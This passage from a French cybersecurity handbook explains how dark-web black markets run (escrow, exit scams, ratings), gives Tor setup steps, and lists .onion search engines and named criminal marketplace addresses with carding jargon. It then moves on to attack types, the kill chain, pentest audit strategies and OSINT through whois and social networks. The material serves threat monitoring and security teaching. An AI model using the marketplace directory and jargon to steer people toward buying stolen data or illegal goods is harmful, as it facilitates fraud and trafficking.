data-software-50-le-prix-de-votre-compte-en-banque-sur-le-blackmarket) annonçait un marché noir
numérique de plusieurs milliards d’euros. L’éditeur ESET affichait un chiffre d’affaires sur le territoire
français, en mars 2017, de 5 à 12 millions d’euros par mois. Faisons donc en sorte que cet argent et
les produits vendus ne soient pas les vôtres !

Ce lien rappelle l’affaire de la dénonamysation possible de liens et connexions tor. L’info date de
2014, mais fait partie de l’histoire de Tor : https://www.welivesecurity.com/2014/08/05/dark-web-
tor-ramps-up-security/

Fonctionnement
Un portail du Black Market fonctionne comme les boutiques que vous croisez sur la toile : des
produits, des clients, des vendeurs et des transactions financières. Pour attester de leur fiabilité, des
systèmes de notation s’affichent comme sur eBay. Dans votre veille, le fait qu’un vendeur soit crédité
d’un certain nombre de ventes, avec des clients satisfaits, doit vous faire tendre l’oreille sur
l’authenticité des données qu’il commercialise. Il est fiable si son pourcentage de satisfaction

Restrict
ed
dépasse les 80 %. Les notes des acheteurs attesteront de son efficacité et de la qualité des produits :
les bases de données vendues sont-elles inédites ? Le contenu est-il intéressant ? La vitesse de
fourniture ? Etc.

Les "shops" les plus connus proposent même des garanties. La donnée bancaire achetée ne
fonctionne pas ? Le remboursement et/ou le remplacement sont orchestrés. Malheur aux vendeurs
qui tenteraient de fournir des informations et des produits périmés car le Black Market est un milieu
criminel qui fonctionne avec de nombreux intermédiaires dont les principaux acteurs sont baptisés
les "escrows".

La mission de l’escrow ? C’est un intermédiaire qui contrôle et vérifie la transaction entre le vendeur
et l’acheteur. Il réceptionne l’argent et verse la somme au vendeur une fois le produit réceptionné
par l’acquéreur. L’escrow prend un pourcentage du prix fixé. Autant dire que le vendeur a tout à
perdre en cas de problème. Un tiers, escrow ou boutique, qui conserve l’argent d’une transaction est
baptisé "exit scam". Il existe aussi des robots escrows. Ils font l’intermédiaire entre un acheteur et un
vendeur et sont censés ainsi éviter les arnaques. L’escrow "automatique multi-sig" contrôle que
chaque transaction est signée avec une clé privée afin de bloquer les tentatives d’exit scame. Selon le
niveau de confiance, il est possible de rencontrer des Finalize Early (FE) : le vendeur étant connu et
reconnu, il reçoit l’argent avant la réception de la commande.

Les paiements se font dans la grande majorité sous forme de monnaies dématérialisées comme le
Bitcoin, le XMR ou encore l’Ethereum. Côté communication, les plus professionnels des Black
Markets imposent le chiffrement des conversations entre interlocuteurs soit avec un système
propriétaire, soit par le biais de clés PGP.

Le site AlphaBay Market, aujourd’hui fermé par le FBI, permettait d’acheter de la drogue, armes et
faux papiers.

Anonymat des boutiques ?


Les boutiques du Black Market peuvent être contactées via de nombreuses méthodes : par
cooptation, des liens qui se passent de main à la main... La plus simple, et surtout devenue la
tendance, est un moteur de recherche qui permet de trouver une information ou un produit précis
en tapant une requête comme sur Yahoo!, Qwant ou Google. Le site de Black Market peut avoir la
forme d’un forum ou tout simplement d’une boutique avec offres, prix, boutons d’achat. Méfiez-vous
des forums. Le plus généralement, ce sont des nids de vipères, quand il ne s’agit pas tout simplement
d’arnaques pures et simples. Le Black Market via Google n’est pourtant pas impossible. Nous y
reviendrons un peu plus loin dans ce chapitre.

La grande majorité de ces boutiques évoluent via des adresses en .onion. Comme le rappelle
Wikipédia, le .onion indique une adresse anonyme accessible par l’intermédiaire du réseau
Tor (http://www.zataz.com/infiltration-pirate-via-un-noeud-tor/#axzz4gUQFI5Ji).

Comprenez qu’une URL sous la forme de "adresse.onion" ne fonctionnera pas sur Internet, via votre
navigateur habituel tel que Chrome, Edge, etc. Cette adresse .onion ne pourra être lue qu’à partir du
réseau Tor, ses proxies et son navigateur dédié, Tor Browser. L’adresse générée pour évoluer sur Tor
est aléatoire, même s’il est possible de lui donner un sens pour connaître sa destination. Un
espace .onion a offert pendant un temps la possibilité d’acquérir des noms de domaine en .onion.
Plusieurs millions d’adresses furent vendues en bitcoins comme freakbugfpaynode.onion (Freak Bug-
F Paynode), qui fut cédée pour 5 bitcoins, soit plus de 7000 €.

Restrict
ed
En ce qui concerne Tor, c’est un formidable outil proposé par le Tor Project, Inc
(https://fr.wikipedia.org/wiki/.onion). Tor signifie The Onion Router. C’est un réseau informatique
décentralisé qui fait appel à des millions d’ordinateurs dans le monde servant de nœuds de
connexion. Bilan : Tor permet de cacher la trace de l’utilisateur ou du site .onion visité. Les
communications étant chiffrées, Tor permet d’anonymiser l’origine des connexions TCP. C’est un
outil génial utilisé par des centaines de journalistes, blogs prônant la liberté d’expression ou simples
internautes ne souhaitant pas être suivis par le marketing et les traceurs des géants de l’Internet,
Google en tête.

Les concepteurs de boutiques du Black Market profitent aussi de cet anonymat pour empêcher la
localisation de leurs serveurs, un serveur pouvant être logé chez un hébergeur ayant pignon sur rue,
tout à fait légal. Des boutiques peuvent aussi être cachées via Ip2, Freenet, mais Tor et .onion restent
majoritaires car plus simples d’accès. Le système Tor permet aussi à ces boutiques du Black Market
de "protéger" leurs visiteurs, l’IP de connexion des acheteurs/vendeurs n’apparaissant pas. Prudence
cependant avec ce détail d’anonymisation.

Même si l’incontournable Electronic Frontier Foundation (EFF), fondation qui tente de protéger la vie
privée sur Internet, propose Tor comme solution de sécurisation de ses connexions, des cas ont
démontré que l’outil n’était pas infaillible (https://www.torproject.org/). Sarah Jamie Lewis,
chercheuse en informatique, a lancé le projet OnionScan. Sa mission : permettre de trouver, de
remonter des failles et des bugs découverts dans Tor. OnionScan
(https://github.com/s-rah/onionscan) permet de numériser automatiquement les vulnérabilités et
les erreurs communes qui peuvent bloquer la possibilité d’être anonyme sous Tor. « La vie privée
est importante. Même si certaines personnes utilisent Tor pour faire des choses illégales, il y a
beaucoup de sites privés et des blogs politiques hébergés dans le Dark Web, et les propriétaires
doivent se sécuriser » (http://www.extremetech.com/internet/226106-onionscan-tests-dark-web-
sites-to-see-if-they-really-are-anonymous).

Mode d’emploi de Tor


Pour mettre en place votre veille et visiter les espaces proposés dans le Black Market en passant par
les adresses en .onion, l’installation de Tor et l’utilisation de Tor Browser sont indispensables. Les
sections qui suivent détaillent la façon de l’installer et de l’utiliser.

1. Installation

L’installation est simple. Après avoir téléchargé Tor via le site officiel https://www.torproject.org, il
suffit de l’installer sur votre ordinateur en suivant la procédure proposée par le logiciel.

2. Configuration de la sécurité

Dans l’onglet en forme d’oignon, en haut à droite du navigateur, paramétrez votre Tor Browser.

3. Vérification de l’adresse IP

Vous pouvez vérifier votre adresse IP en cliquant sur le lien Tester les paramètres du réseau Tor. Le
lien http://www.mon-ip.com/localiser-adresse-ip.php va vous permettre de comparer votre véritable

Restrict
ed
adresse IP avec votre adresse IP une fois Tor mis en fonction sur votre connexion. Les deux adresses
IP doivent être différentes lorsque vous vous connectez via Tor.

4. Navigation

Pour naviguer sur Top, il suffit de rentrer l’URL .onion ou web dans la barre du navigateur. Les sites
web recevront l’adresse IP que proposera Tor et non pas votre adresse IP officielle. Vous pouvez, en
haut à droite dans le menu représenté par trois lignes horizontales, créer des règles pour les sites
que vous souhaitez visiter, par exemple interdire les requêtes non chiffrées.

5. Changement d’adresse IP

En cliquant sur Nouvelle identité et Nouveau circuit Tor, vous changez l’adresse et les nœuds Tor
utilisés auparavant.

6. Mise à jour

La mise à jour de votre logiciel Tor et de son navigateur est indispensable. Automatiquement, l’outil
vous alerte, mais encore faut-il cliquer sur le lien qui s’affichera à l’écran.

Le référencement du Black Market


Comme nous avons pu le voir, le Black Market fait tout pour se cacher des autorités et protéger ses
utilisateurs. Seulement, qui dit "business" dit obligatoirement afficher de la publicité pour attirer
vendeurs et acheteurs. Cette schizophrénie contraint les organisateurs du Black Market à surfer
entre Dark Web et affichage public. Ils sont donc obligés de communiquer. Il n’est pas rare de croiser
des publicités pour des cartes bancaires en promotion, de la drogue, des places de cinéma cédées
pour quelques centimes d’euros ou autres faux documents administratifs
(http://www.capital.fr/entreprises-marches/comment-gaumont-pathe-s-est-fait-pirater-ses-places-
de-cinema-1221930).

Des publicités existent sous forme de bannières, de flyers, d’affiches. Il existe aussi des moteurs de
recherche alimentés par les administrateurs de markets et autres autoshops.

Nous détaillons ci-dessous les principaux moteurs de recherche du Black Market. Attention, leurs
propositions sont dans la grande majorité illégales. Pour les outils de recherche disponibles via le
Web, il est fortement conseillé d’utiliser un VPN afin de protéger votre identité numérique lors de
vos visites. Attention, le VPN seul ne vous rendra pas anonyme, il permettra de mieux cacher votre
identité auprès des sites que vous visitez et de votre fournisseur d’accès à Internet.

Les adresses .onion et les URL web proposées dans ce chapitre vous permettront de réaliser votre
veille. Pour rappel, acquérir et/ou vendre des données piratées sont des actes punis par la loi.

Grams

https://grams7enufi7jmdl.onion/

Le moteur de recherche Grams est le principal espace de recherche d’informations diffusées dans le
Black Market. Les liens mis à disposition ont été enregistrés par les propriétaires des autoshops eux-
mêmes. Les utilisateurs de Google ne seront pas dépaysés : Grams reprend les codes du géant

Restrict
ed
américain. Une fois votre recherche lancée, Grams vous présente le produit, son prix et son lieu de
vente.

Un "Top" des meilleures boutiques est mis à jour quotidiennement. Le slogan de Grams est le suivant
« La seule façon de faire face à un monde libre est de devenir si absolument libre que votre existence
est un acte de rébellion ». Tout un programme ! Plus de 2 millions de liens y sont indexés.

TorSearch

http://hss3uro2hsxfogfq.onion/

Le moteur de recherche TorSearch a fusionné avec NotEvil. Il affiche plus de 21 millions de


liens hidden indexés. Le moteur de recherche NotEvil ne se contente pas de proposer drogue, bases
de données, informations bancaires. Il est possible d’y croiser des sites politiques, complotistes, etc.

Ahmia

msydqstlz2kzerdg.onion

Le moteur de recherche Ahmia indique proposer des recherches de services cachés sur le réseau Tor.
Les créateurs d’un site en .onion peuvent référencer leur page dans un espace dédié. Ahmia propose
aussi une possibilité de recherche via I2P. Son code source est disponible sur GitHub
(https://github.com/ahmia/search). Originalité de ce moteur de recherche, une adresse internet est
disponible : https://ahmia.fi. Les auteurs cachés derrière Ahmia diffusent de la publicité.

Onion Link

http://www.onion.link/

Ce moteur de recherche passe par Google pour retrouver des liens .onion. Il n’est pas du tout affilié
au projet Tor et ne fonctionne pas via le navigateur Tor. Il est fortement conseillé, dans ce cas, de
passer par un VPN afin de cacher vos recherches et votre adresse internet.

Autres moteurs de recherche

 Torch : http://xmh57jrzrnw6insl.onion

 GM Search Dark : http://www.aleph-networks.com

 Dark Links : jdpskjmgy6kk4urv.onion

 Bibliothèques numériques : mx7rwxcountermqh.onion

Annuaire de sites en .onion


images/Tor2web.png

Le site internet Tor2Web (https://www.onion.to) vous permet de visiter un espace en .onion sans
passer par le biais du navigateur Tor. Cette possibilité existe, mais elle est fortement déconseillée si

Restrict
ed
vous n’utilisez pas un système vous permettant d’anonymiser votre identité numérique (VPN,
proxies, etc.).

Le principe du portail onion.to est simple. Vous fournissez l’adresse .onion visible uniquement via
Tor. Tor2Web vous affichera le contenu dans n’importe quel navigateur web au travers d’une
passerelle vers les services cachés de Tor qui exploite des proxies qui transmettent les requêtes
aux .onion correspondants. Attention, le fonctionnement est donc hasardeux. Onion.to n’offre aucun
anonymat pour ses visiteurs : adresse IP, empreintes du navigateur exploité peuvent apparaître.

Vocabulaire
Voici les abréviations et les définitions attenantes au vocabulaire exploité dans le Black Market. C’est
une liste non exhaustive qu’il est conseillé de mettre à jour lors de vos visites afin de peaufiner et
renforcer votre veille.

 BAC : boîte à colis. Cela correspond aux grosses boîtes de La Poste utilisées par les facteurs
pour y entreposer les courriers à distribuer dans une zone géographique précise. Les
amateurs du Black Market peuvent s’en servir lors d’une commande d’un colis particulier à
une adresse qui n’est pas la leur (dropbox).

 BAL : boîte aux lettres.

 Blinder : lier un cheval de Troie à un autre logiciel afin de cacher le logiciel espion.

 BTC : BitCoins. crypto-monnaie légale, permettant de réaliser des transactions dans un


certain anonymat.

 Cardable : un site web cardable est un espace numérique qui permet d’utiliser des cartes
bancaires piratées sans vérifications sérieuses.

 Cardeur : pirate spécialisé dans la carte bancaire. Il fait du carding.

 Card sharing : permet à des internautes d’accéder, contre de l’argent, à des chaînes de
télévision à péage.

 CC : carte de crédit.

 CCV : carte de crédit virtuelle.

 CP : correspond à des contenus pédopornographiques. La consultation, la sauvegarde et la


distribution de ce genre de contenu sont sévèrement réprimées par la loi.

 CNI : carte nationale d’identité.

 CVV : code de sécurité que l’on trouve derrière les cartes bancaires.

 CW : Clear Web. C’est le Web que l’on utilise facilement : Facebook, YouTube, Google,
Twitter, etc.

 DAB : distributeur automatique de billets. On parle aussi de GAB, guichet automatique de


billets.

 Dox : informations personnelles d’un internaute. Souvent utilisé lors d’une vengeance ou
pour faire tomber un concurrent.

Restrict
ed
 Dropbox : boîte aux lettres servant à récupérer des colis ou des courriers.

 Dump : base de données contenant identités, adresses, mails, mots de passe, etc.

 DW : Deep Web.

 Escrow : intermédiaire de confiance qui se charge de la mise en relation financière entre un


acheteur et un vendeur. L’escrow qui vole l’argent est baptisé exit scam.

 Exit scam : c’est un escrow, une boutique, un marketplace qui conserve l’argent d’une
transaction sans fournir le produit concerné par la transaction.

 Fresh : données récentes, nouvelles.

 FUD : code malveillant indétectable par les outils de sécurité informatique (antivirus,
firewall).

 JB : Jail Bait, correspond à une photo d’une personne prise à son insu et diffusée sur le Web.

 Leak : fuite d’information.

 Newfag : un noob, un débutant, un newbie.

 Phreaking : piratage spécialisé dans la téléphonie.

 Scam : arnaque.

 SR : Scam Report. C’est une alerte au sujet d’un probable piège, arnaqueur, fausse
transaction.

Liste des markets et autoshops


Voici une liste non exhaustive des principaux marketplaces du Dark Web. Cette liste ne prend pas en
compte les forums et espaces privés disponibles dans le Web profond. Vous pouvez vous en servir
pour créer votre propre veille selon vos besoins et attentes. Dans tous les cas, même si Tor protège
votre identité, il vous est conseillé aussi de renforcer votre veille par l’utilisation simultanée d’un
VPN. Il n’y a pas d’adresses françaises dans cette liste. La réputation de ces espaces est très
mauvaise.

Boutiques en anglais :

 AlphaBay : http://pwoah7foa6au2pul.onion (fermée par la police)

 Dream Market : http://lchudifyeqm4ldjj.onion

 Valhalla : http://valhallaxmn3fydu.onion

 Wall Street Market : http://wallstyizjhkrvmj.onion

 Zion Market : http://zionshopusn6nopy.onion

 Minerva Market : http://kp6yw42wb5wpsd6n.onion/

 Placemarket : http://plcmkt2lhafgfrkb.onion

Boutiques russes :

 RAMP : http://ramp5bb7v2abm34a.onion

Restrict
ed
 PekarMarket : http://pekarmarkfovqvlm.onion

 Rutor : http://rutorzzmfflzllk5.onion

 WayAway : http://wayawaytcl3k66fl.onion

 HYDRA : http://hydraruzxpnew4af.onion

Restrict
ed
Prise d’empreinte ou Information Gathering

Les attaques
1. Préambule

En cette période de crise, on constate depuis plusieurs mois une recrudescence des
attaques cybercriminelles qui profitent de la vulnérabilité des installations et du manque
d’expérience et d’attention des usagers pour s’infiltrer dans les réseaux d’entreprises, ceci afin d’y
dérober, chiffrer tous types de données sensibles pour les monnayer de diverses manières.

En conséquence, les entreprises renforcent leurs exigences en moyens de protection et d’analyse et


les audits de sécurité se démocratisent, que ce soit pour les grandes mais également moyennes et
petites entreprises.

Ils sont désormais régulièrement intégrés dans le cahier des charges lors d’une prise de marché.

L’entrée en vigueur du RGPD (Règlement général sur la protection des données), il y a deux ans, a
certainement contribué à la mise en évidence, chez les chefs d’entreprise, des enjeux de sécurité des
données.

Un des effets immédiats de cette prise de conscience est la hausse non négligeable des besoins en
compétences cyber et des certifications inhérentes (CISSP, CCSP, CEH, CHFI, CISM...).

2. Types et méthodologies des attaques

Avant de rentrer dans le vif du sujet et de détailler le déroulement d’une prise d’empreinte (ou
collecte d’informations) sur une cible, il est nécessaire de bien comprendre la méthodologie d’une
attaque que reprendra un test d’intrusion mis en place dans le cadre d’un cahier des charges
prédéfini.

De même, il est important de comprendre que le test d’intrusion souvent appelé "pentest" n’est en
fait qu’une étape de l’audit de sécurité comprenant également l’analyse fonctionnelle de
l’organisation, l’examen des configurations du code et aussi l’analyse des risques sans laquelle l’audit
serait limité.

3. L’évolution de la cybercriminalité

Le profil des cybercriminels a bien évolué depuis l’apparition dans les années 1970 des premiers
hackers animés par la volonté de mieux sécuriser le réseau en incitant les éditeurs de solutions
informatiques à apporter des correctifs aux failles découvertes. Ils étaient d’ailleurs communément
appelés des white hackers.

Puis est apparu au début du XXIe siècle le cybercriminel motivé par des idéologies et dont les actions
étaient ciblées vers tout organisme défiant ces idéologies.

Les Anonymous sont un exemple représentatif et connu des groupes "hacktivistes" sur le Net.

4. Les motivations

Actuellement, force est de constater que les motivations idéologiques ont cédé en grande partie la
place aux motivations d’ordre financières et à l’espionnage stratégique ou industriel.

Restrict
ed
Pour la première motivation, la demande est toujours la même : malware ou ransomware, vos
données vous seront rendues moyennant une rançon en crypto-monnaie, celle-ci leur assurant un
réel anonymat.

Pour le cas de l’espionnage, qu’il soit stratégique ou industriel, les moyens mis en œuvre sont plus
sophistiqués.

En effet, ces attaques complexes nécessitent davantage de moyens financiers, matériels et humains.

Généralement organisées par des groupes d’État ou mafieux disposant de gros moyens de mise en
œuvre, elles se présentent souvent sous forme d’attaque de type APT (Advanced Persistent Threats).

5. Les différents types d’attaques

On peut généralement résumer de la façon suivante les différents types d’attaques possibles, au vu
des motivations citées précédemment.

a. L’attaque de type destructif

Une attaque de type destructif vise à ralentir ou à stopper le fonctionnement de l’organisation visée
via par exemple un déni de service (syn, reflexion, spoof...). Elle est généralement revendiquée par
des hacktivistes, les motifs étant politiques ou idéologiques, parfois suite à des défis techniques entre
attaquants.

Ce type d’attaque exploite souvent des vulnérabilités connues, sur des systèmes non mis à jour, à des
fins de propagande.

Avec l’avènement des systèmes SCADA (Supervisory Control And Data Acquisition) dans l’industrie,
ces attaques peuvent désormais avoir des conséquences matérielles très graves.

Ce type d’attaque utilise les interactions entre la couche informatique, la couche de contrôle et la
couche physique pour créer des destructions physiques.

Stuxnet est typiquement le cas d’école d’une attaque destructrice de matériel


industriel : https://www.xmco.fr/actu-secu/XMCO-ActuSecu-27-STUXNET.pdf

Restrict
ed
Attaque Stuxnet sur les centrifugeuses iraniennes

Plus récemment, une attaque de ce type a complètement privé d’électricité 230 000 usagers du
réseau électrique du fournisseur d’électricité régional ukrainien Kyivoblenergo.

b. Les attaques à motivation financière

Un gain financier rapide est la principale motivation de ce type d’attaque. Le vol de données
monnayables, qu’elles soient personnelles ou industrielles, ainsi que l’accès aux données bancaires
ou la demande de rançon (ransomware) sont généralement les buts avoués de ce type d’attaque.

Entre février et avril 2020, les cyberattaques contre les banques ont marqué une hausse de 238 %
suite au confinement et au télétravail mis en place par les entreprises, qui a vu augmenter
considérablement ce que les spécialistes appellent la surface d’attaque.

Certaines attaques peuvent être très sophistiquées et orchestrées par des groupes
mafieux bénéficiant d’une organisation importante (APT).

Un exemple de ce type d’attaque est celui de l’institut monétaire du Bangladesh qui a perdu près de
100 millions de dollars, la Banque centrale ayant été la cible de pirates informatiques, entraînant la
démission du directeur de celle-ci.

Le groupe de cybercriminels Carbanak, bien connu pour ce genre d’attaque APT, a été fortement
soupçonné.

c. Les attaques de type APT

Revenons un peu sur ce type d’attaque très sophistiquée. On appelle APT une attaque qui vise
spécifiquement une organisation. Cela peut être une entreprise, un pays, une administration ou
encore une ONG.

Nombreuses sont les entreprises qui ont été victimes ces dernières années de telles attaques sur leur
système d’information.

Ce type d’attaque est dit "avancé", parce qu’elle utilise tout un arsenal de techniques d’attaque et
d’outils pour atteindre son objectif. Unitairement, les composants d’une telle attaque ne sont pas
forcément évolués techniquement (phishing, malware, XSS, etc.). Des outils de génération de
composants d’attaques existent (ex. Poison Ivy, etc.). La combinaison des méthodes et les outils
d’attaques en font une attaque avancée.

Elle est persistent car basée sur une stratégie dont l’objectif est de rester cachée et indétectable au
sein du système d’information.

L’attaque est scénarisée et des objectifs précis sont établis pour compromettre toute une chaîne de
systèmes.

C’est bien sûr une menace (threat). Elle implique une coordination de moyens techniques et
humains. Elle est généralement peu automatisée (bien que les compromissions de systèmes puissent
l’être). Les attaquants ont des compétences techniques et généralement des moyens inhabituels.

Restrict
ed
Cycle de vie d’une attaque de type APT

6. La cyber kill chain ou les différentes phases d’une attaque

Les attaques informatiques suivent un schéma assez récurrent qui permet d’optimiser les chances de
succès et l’ampleur de l’attaque.

Ces différentes étapes sont les suivantes, dans l’ordre :

 La collecte d’informations, encore appelée information gathering ou reconnaissance.

 L’intrusion, qui exploitera les résultats de la reconnaissance pour s’introduire dans le


système et l’exploitation qui installe le ou les malwares et payloads.

 L’escalade de privilèges, qui leur donnera tous les droits sur le système.

 Le mouvement latéral, déplacement vers d’autres systèmes et comptes afin d’obtenir plus de
leviers.

 La persistance, leur permettant de rester invisibles dans le système.

 L’exfiltration des données sensibles, qui pourront ensuite être monnayées.

Restrict
ed
Par analogie, un pentest se déroulera de la même façon, à la différence de l’exploitation des données
qui ne seront pas monnayées mais qui serviront à étayer le rapport du test d’intrusion (reporting).

La cyber kill chain

Restrict
ed
L’analyse des risques
Comme il a été dit précédemment, un autre élément de l’audit de sécurité est l’analyse des risques
du SI.

La gestion des risques est définie par l’ISO 27001 (révisée en 2013) comme l’ensemble des activités
coordonnées visant à diriger et piloter un organisme vis-à-vis du risque. On dégage en général trois
finalités à la gestion des risques pour les SI :

 Améliorer la sécurisation des systèmes d’information.

 Justifier le budget alloué à la sécurisation du système d’information.

 Prouver la crédibilité du système d’information à l’aide des analyses effectuées.

Bien qu’un grand nombre de celles-ci ne soient plus utilisées ou soient confidentielles, on estime qu’il
existe plus de 200 méthodes de gestion des risques.

Cette multiplicité entraîne une très grande diversité dans les approches des risques de sécurité.

À côté de ces méthodes d’analyse des risques, il existe une famille de normes ISO, la norme ISO
27005 (révisée en 2011), qui fait une description développée des exigences en termes de gestion des
risques liés à la sécurité de l’information.

Les trois méthodes les plus populaires sont actuellement les suivantes :

 EBIOS (expression des besoins et identification des objectifs de sécurité) : une


méthode portée par l’ANSSI.

 MARION (méthode d’analyse de risques informatiques optimisée par niveau).

 MEHARI (méthode harmonisée d’analyse de risques) : maintenue en France par le CLUSIF.

En France, l’ANSSI préconise la méthode EBIOS, arguant du fait que cette méthode est
opérationnelle, modulaire et alignée avec les normes françaises. C’est une boîte à outils
indispensable pour toute réflexion sur la sécurité des systèmes d’information (SSI).

La méthode dispose de bases de connaissances riches et mises à jour, d’un logiciel libre et gratuit, de
formations et d’une documentation variée (http://www.ssi.gouv.fr/ebios - http://www.club-
ebios.org).

Agence nationale de la sécurité des systèmes d’information

Le club EBIOS

Restrict
ed
Le test d’intrusion
Un test d’intrusion (penetration test ou pentest en anglais) est une méthode d’évaluation de la
sécurité d’un système d’information.

Cela consiste à simuler l’attaque d’un utilisateur malintentionné, voire d’un logiciel malveillant.

Les risques dus à une mauvaise configuration d’un système, d’un défaut de programmation ou
encore d’une vulnérabilité liée à la solution testée sont alors analysés.

Le principal but de cette manœuvre est de trouver des vulnérabilités exploitables en vue de proposer
un plan de contre-mesures destinées à améliorer la sécurité du système ciblé.

Le test d’intrusion viendra valider ou non les failles potentielles révélées lors d’un audit de
vulnérabilités de par l’exploitation de celles-ci et la récupération de preuves qui viendront définir et
classifier les risques encourus dans le rapport d’audit.

1. Les acteurs du hacking

On rencontre principalement trois types de profils dans l’univers de la sécurité informatique :

 Le hacker, également appelé white hat, défini en ces termes :

L’informaticien qui utilise ses connaissances de la sécurité informatique pour en rechercher et en


exploiter les faiblesses.

 Le pirate, aussi appelé black hat.

 Le pentester, un hacker ayant décidé de faire de sa passion un métier et d’en vivre.

Les pentesters suivent des méthodologies référencées :

 OSSTMM (Open Source Security Testing Methodology Manual) :


www.isecom.org/mirror/OSSTMM.3.pdf

 OWASP (Open Web Application Security


Project) : https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

 PTES (Penetration Testing Execution Standard) : http://www.pentest-standard.org/

Ils utilisent également des outils de reporting afin de répertorier les incidents détectés :

 ORG (OWASP Report Generator) : http://www.owasp.org

 Dradis : http://dradisframework.com/

2. Types et stratégies d’audit

a. Les types d’audit

On peut citer trois types d’audit :

 L’audit dit en "black box" ou "boîte noire" : l’auditeur ne dispose généralement


d’aucune information. Dans certains cas, les adresses IP et les URL associées à la cible
auditée sont fournies.

Restrict
ed
 L’audit dit en "grey box" ou "boîte grise" : les auditeurs disposent des connaissances d’un
utilisateur standard du système d’information.

 L’audit dit en "white box" ou "boîte blanche" : les auditeurs disposent du maximum
d’informations techniques avant de démarrer l’analyse.

b. Les stratégies d’audit

Parmi ces trois types d’audit, six stratégies sont définies :

 La stratégie d’audit dite "en aveugle" (blind strategy), qui s’effectue en boîte noire et qui
consiste à prévenir les administrateurs réseau de la société et à ne fournir
aucun renseignement au pentester.

 La stratégie d’audit en "double aveugle" (double blind strategy) : même situation


d’audit qu’en aveugle, mais sans prévenir le personnel IT (ingénieurs et techniciens).

 La stratégie d’audit spécifique "boîte grise" (Grey box strategy) : les équipes IT sont
prévenues des scénarios et fournissent des informations limitées au pentester.

 La stratégie d’audit spécifique "double boîte grise" (double gray box strategy) : idem que la
précédente, mais les équipes IT sont informées à l’avance des champs d’action et des dates
de tests, mais pas des scénarios de tests.

 La stratégie d’audit dite en "tandem" (tandem strategy) : elle se fait en boîte blanche, le
pentester travaille en collaboration avec les équipes IT, qui lui fournissent toutes les
informations. Elle permet de tester les contrôles et le niveau de protection du système ciblé,
mais pas son comportement.

 La stratégie d’audit "inversée" (reversal strategy) : les équipes IT ne sont pas prévenues, mais
les informations sur le système sont données. Cette stratégie permet de tester la réactivité
des équipes IT face aux attaques.

L’expérience montre que nombre de tests d’intrusion sont effectués en boîte blanche ou en boîte
grise, le mode boîte noire étant très onéreux pour l’entreprise. Les rares occasions où il sera utilisé
concerneront généralement une partie restreinte du système d’information.

Quant aux stratégies d’audit, elles seront en fait définies par le client en fonction du niveau de
contraintes qu’il acceptera et de son cahier des charges.

Méthodologie d’une collecte d’informations ou prise d’empreinte


Comme pour le test d’intrusion, la prise d’empreinte suit une certaine méthode :

 L’ingénierie sociale (social engineering).

 La collecte d’informations de type OSINT (foot printing ou passive information gathering).

Dans un cadre légal, défini dans le contrat, cette collecte passera du type passif au type actif, soit :

 Scan et mapping du réseau dans le périmètre des actions définies dans le cahier des charges.

 Détection des failles et vulnérabilités des cibles concernées.

 Analyse des données collectées et définition des vecteurs d’attaque potentiels.

 Test sur les cibles.

Restrict
ed
L’ingénierie sociale faisant l’objet d’un chapitre à part entière dans ce livre, intéressons-nous à la
collecte d’informations. En audit boîte noire, le pentester n’aura à sa disposition que peu
d’informations comme un site, un domaine une personne ou une entreprise. Néanmoins, Internet va
l’aider car il existe de nombreuses sources de données publiques (OSINT) et légales permettant de
récupérer de précieuses informations à partir des renseignements en notre possession. Nous allons
en passer quelques-unes en revue.

Le service Whois
1. Présentation

Whois est un service de recherche fourni par les registres internet, par exemple les registres internet
régionaux (RIR) ou bien les registres de noms de domaine permettant d’obtenir des informations sur
une adresse IP ou un nom de domaine.

Il permet :

 d’obtenir des informations sur le propriétaire d’un nom de domaine (contact administratif,
technique et éventuellement de facturation) et sur les serveurs de noms associés au
domaine ;

 d’obtenir des informations sur l’attribution des plages d’adresses IP.

C’est l’outil qui nous fournira nos premiers renseignements.

2. La gestion des adresses IP dans le monde

Les informations administratives concernant les adresses IP sont répertoriées par cinq organismes
dans le monde appelés Regional Internet
Registry(https://en.wikipedia.org/wiki/Regional_Internet_Registry) :

 RIPE NCC (réseaux IP européens, whois.ripe.net) pour l’Europe.

 APNIC (Asia Pacific Network Information Center, whois.apnic.net) pour l’Asie et le Pacifique.

 ARIN (American Registry for Internet Numbers, whois.arin.net) pour l’Amérique du Nord et
l’Afrique subsaharienne.

 LACNIC (Latin-American and Caribbean Network Information Center, whois.lacnic.net) pour


l’Amérique latine et les Caraïbes.

 INTERNIC (whois.internic.net) pour les autres parties du globe.

Le premier octet de l’adresse IP permet de déterminer à quelle zone appartient


l’adresse : http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml

Exemple

Whois sur le domaine de ENI

Le but est de récolter un maximum d’informations sur celui-ci pour préparer un audit de sécurité.
Sous Linux, la commande whois existe dans une console shell.

Restrict
ed
Whois sur domaine eni.fr

On obtient alors des informations telles que le nom, l’adresse, le téléphone, l’e-mail et bien d’autres
renseignements sur le contact du domaine :

Whois sur eni.fr

On peut également utiliser les outils disponibles sur le Net comme sur le site de l’AFNIC (Association
française pour le nommage internet en coopération).

On y récupère les mêmes informations qu’en mode console sous Linux.

Restrict
ed
Il existe également des applications graphiques sous Windows

La recherche d’informations sur le Web


Le Web regorge d’informations intéressantes :

 Pages jaunes et pages pro.

 Informations fiscales (sites de bourse, marchés en cours, partenaires...).

 Informations sur les sociétés (http://www.societe.com/ - https://www.infobel.com).

 Photographies, réseaux sociaux (Flickr, Facebook, Google+, OneDrive, Joomeo...).

 Cartes géographiques du site (Google Maps...).

 Analyse des sites web (téléphones, annuaire...).

 Recherche Google avancée (Google Dorks, GoogleHack...).

Restrict
ed
La liste n’est pas exhaustive.

1. Les basiques

La base : les pages jaunes ou blanches.

Pages jaunes - Société ENI

Société.com

2. Recherche en ligne : les sites web spécialisés

Le site DNS History (dnshistory.org) recense les anciennes entrées des domaines de l’Internet.

Le site dnshistory.org

La Wayback Machine (https://archive.org/web/) recense les différentes versions évolutives d’un


même site web.

La Wayback Machine

Le site d’ENI tel qu’il était le 4 février 2005

3. Les réseaux sociaux et professionnels

En termes de recherche de renseignements sur les personnes et leur environnement, qu’il soit
personnel ou professionnel, les réseaux sociaux de tous types sont devenus incontournables pour la
collecte d’informations.

Pour n’en citer que quelques-uns :

 Facebook, Google+, Monster...

 LinkedIn, Viadeo...

Le réseau social Facebook

Les sites professionnels comme Viadeo et LinkedIn sont de bonnes sources en renseignements
métier :

Le réseau professionnel LinkedIn

Il existe par ailleurs des sites de recherche de personnes spécialisés sur un réseau (LinkedIn, GitHub,
